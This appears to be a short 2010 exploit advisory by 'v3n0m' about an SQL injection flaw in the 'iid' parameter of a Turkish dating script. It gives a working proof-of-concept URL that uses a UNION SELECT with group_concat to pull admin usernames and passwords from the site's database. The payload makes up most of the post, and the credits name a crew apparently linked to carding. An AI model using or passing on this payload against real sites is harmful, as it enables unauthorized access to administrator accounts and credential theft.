----------------------------------------------------------------------- WebScript Arkadaslik Script (iid) SQL injection Vulnerability ----------------------------------------------------------------------- Author : v3n0m Site : http://yogyacarderlink.web.id/ Date : December, 18-2010 Location : Jakarta, Indonesia Time Zone : GMT +7:00 Application : Arkada?lık Scrpti Vendor : http://webscripti.com/incele.php?incele=2 Exploit & p0c _____________ **[SQLi] http://site/[path]/?s=detay&iid=[SQLi] http://site/[path]/?s=detay&iid=-9999+union+all+select+null,group_concat(kullaniciadi,char(58),sifre),null,null+from+admin-- _______________________________________ All YOGYACARDERLINK CREW & Jovita Andy _______________________________________